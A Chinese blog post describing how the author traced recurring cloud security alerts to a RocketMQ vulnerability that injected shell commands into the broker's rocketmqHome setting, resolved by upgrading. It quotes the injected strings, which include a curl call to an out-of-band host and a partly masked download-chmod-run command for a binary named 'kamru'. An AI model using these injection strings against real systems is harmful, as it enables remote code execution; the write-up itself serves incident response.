记一次与Rocketmq的进程异常行为修复过程

news/2025/2/28 15:28:30/文章来源:https://www.cnblogs.com/timskycs/p/18598913

rocketmq部署在docker中。

前段时间,阿里云服务器发出安全告警

看到curl和startfsrv.sh,下意识地认为这是下载了一个恶意脚本,接下来把恶意脚本找到,分析内容,修复的思路就有了。

但是找到脚本之后,创建时间是2019年,同时也只是rocketmq一个正常的启动脚本。这样思路就断了。
接下来只能查看docker和宿主机的进程,系统硬件资源使用情况以及计划任务是否异常,结果都显示很正常。

接下来想到既然应用异常,那就查看应用日志是否记录了。首先tail日志可以看到callshell和curl一直在日志出现(原谅没有怎么截图),进程看不到,但是说明一直在维持运行
这时候得溯源,看看能不能找到维持执行的原因。得从发出安全告警的前后时间开始看起

仔细分析日志可以知道
一个AdminBroker的线程执行了updateBrokerConfig操作,一个更新配置的操作,接下来继续看,可以看到这个线程修改了rocketmqHome的值,从原来的/opt/····改成-c $@sh . echo curlct3bvqv1nnmrl15917b0b8fhzk37zsmjh.oast.online////////////}]client: /,这可能就是维持执行的原因,此时就把rocketmqHome的值改为正常值。

同时为了安全起见,通过IP查询,查询出ct3bvgvi nnmrl1 5917b0b8fhzk37zsmih.oast.online的IP,再在firewalld禁掉改IP的流量,同时只允许公司网段访问服务器的特定端口,万万没想到,通过查看broker.log日志,发现curl命令还在执行(太冥顽不灵了!)

最后经大佬提醒,关闭docker,然后重启docker后,日志终于没显示curl的执行记录了(估计重启docker操作也是让docker应用上防火墙配置,但这也有新的问题,这里有机会再讲),但是显示broker注册不了(这就是后话了,暂且不提),说明系统安全了,于是放下了好几天戒心。

然后在前几天,当我又开始新的一天工作的时候,阿里云服务器又发出新的安全告警

还是熟悉的配方,熟悉的curl命令,这次还是高度可疑,堪比在街上隔几天就跟踪的流氓了,而且限制了端口访问也不行,这次想着得彻底解决了。

看到告警中的-output kamru,可知输出到了kamru,本想找出这个文件,但通过find命令找不到。
这时先按照先前思路,果不其然,rocketmqHome的值又被修改了(原谅我又没截图),修改成 -c $@|sh . echo curl -output kamru http:/·········/x86:chmod 777 *;./kamru rocket:/bin/startfsrv.sh -c ../conf/brokerconf -n namesrv,先修改成正常

然后查看进程,原本进程是用ps -ef查看,后面发现这样不行(后面解释),得用ps -aux查看
不看不知道,一看吓一跳,sh和curl命令执行完消失执行完消失(这是ps -ef看不到的)
查看日志也有记录

(接下来没有神展开,没有精彩的敲键盘操作了)
虽然限制端口也不行,但是两次相同的修改rocketmqHome的操作绝不是巧合,通过查询与rocketmq相关的漏洞,发现有一个漏洞行为与安全告警报告的行为高度吻合


这时候通过更新rocketmq版本(这个过程相当坎坷,后续有时间再更)后,直到现在都没有类似的安全告警了,说明正是该漏洞造成的

到此,本“案件”正式结案!
但是还留下一个疑点:这两次的异常行为到底对服务器还做了什么,暂时不知,得通过日常检查和修改防火墙策略来确保安全了

收获:虽然ps -ef和ps -aux两者结果都是静态显示,但是ps -aux还能查看到进程的运行状态,通过多次执行ps -aux可以发现执行了又消失的恶意进程。
同时这次很多思路都来源于日志,所以学会分析日志是一项很重要的技能!

收工!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/850767.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode:2717、半有序队列

LeetCode算法做题记录题目: 给你一个下标从 0 开始、长度为 n 的整数排列 nums 。 如果排列的第一个数字等于 1 且最后一个数字等于 n ,则称其为 半有序排列 。你可以执行多次下述操作,直到将 nums 变成一个 半有序排列 : 选择 nums 中相邻的两个元素,然后交换它们。 返回…

一图解锁 | 运维管理到工具体系的建设逻辑

本文来自腾讯蓝鲸智云社区用户: CanWay在数字化转型的大潮中,运维作为企业IT架构的关键环节,正面临着前所未有的挑战与机遇。如何利用先进的技术手段,提升运维效率和质量,成为业界关注的焦点。 作为数字研运解决方案的引领者,嘉为蓝鲸在数字化运维方面做了大量探索和尝试,…

基于webGL的云层动画js插件

这是一款基于webGL的云层动画js插件。该插件使用HTML5 canvas 和 WebGL API,生成可控制的多层云彩动画特效。在线演示 下载NPM安装npm install klouds --save 使用方法 ES6语法:import * as klouds from klouds 在页面中引入下面的文件。…

LoadRunner——脚本优化(二)

脚本优化 回放脚本验证成功后,可以进行添加事务、参数化、运行时设置。 事务:根据项目需要,除了衡量整个脚本的性能外,还想获取到脚本中的某一段或几段操作,例如:想知道从单击"login"按钮到显示首页这一登录过程的性能数据,以便更详细的知道具体是用户的哪些动…

用人工智能模型预测股市和加密货币的K线图

前一篇:《从爱尔兰歌曲到莎士比亚:LSTM文本生成模型的优化之旅》 前言:加密货币市场昨日大幅下跌,一天内市值蒸发逾70亿 人民币。有人可能会问,如果使用人工智能模型预测市场的涨跌,是否能避免损失?作者在此指出,加密货币市场和股市具有高度的主观性,受人为因素、情绪…

RS1MF-ASEMI小家电专用快恢复二极管RS1MF

RS1MF-ASEMI小家电专用快恢复二极管RS1MF编辑:ll RS1MF-ASEMI小家电专用快恢复二极管RS1MF 型号:RS1MF 品牌:ASEMI 封装:SMAF 特性:快恢复二极管 正向电流:1A 反向耐压:1000V 恢复时间:35ns 引脚数量:2 芯片个数:1 芯片尺寸:MIL 浪涌电流:30A 漏电流:10ua 工作温度…

收藏版 | 源码开放,必看的智能监测电源管理教程!

今天我们学习的是快速入门电源管理核心功能 ,手把手教你如何通过不同的技术手段实现有效的电源管理,以低功耗模组Air201为例。今天我们学习的是快速入门电源管理核心功能 ,手把手教你如何通过不同的技术手段实现有效的电源管理,以低功耗模组Air201为例。这些功能旨在提升设…

【GreatSQL优化器-06】条件过滤导致选择非最佳

【GreatSQL优化器-06】条件过滤导致选择非最佳 一、condition_fanout_filter导致计划非最佳 GreatSQL 的优化器对于 join 的表需要根据行数和 cost 来确定最后哪张表先执行哪张表后执行,这里面就涉及到预估满足条件的表数据,condition_fanout_filter会根据一系列方法计算出一…

Python异步编程(上):协程和任务

原文链接: https://mp.weixin.qq.com/s/dQOocc7wHaGv7_cf476Ivg 介绍 了解异步编程前先了解一些概念:协程(coroutine)、任务(task)和事件循环(event loop),在3.7以前还需要关心Future这个东西,不过之后提供的高级API弱化了这个概念,你基本不需要关心Future是什么。 协程 协…

ADC_DMA

功能实现:ADC DMA方式循环采样。 采集周期:(256-192)*16*Tsys = (256-192)*16/62.4M = 16.5us 进中断周期:16.5us*采集数据 = 16.5us int main() {uint8_t i;signed short RoughCalib_Value = 0; // ADC粗调偏差值uint32_t temp = 0;uint8_t adcchidx = 0;HSECFG_C…

销售精英的十大核心:解锁成功之路的钥匙

认真 一个秉持认真态度的人,其核心特质在于严谨。这份严谨引领我们向更优方向、更高目标迈进。若在职场上全力以赴,辛劳感将逐渐淡化。掌握这一要诀,便如同握有通往成功之门的金钥匙。 自我驱动力 销售工作因其特性,常面临客户的拒绝与打击,失败远多于成功。自我驱动力不足…

【随手记录】org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length

org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length启动spring boot项目报以上错误,原因是:YAML文件的编码格式导致的 ,可以通过setting调整编码格式,统一为UTF-8: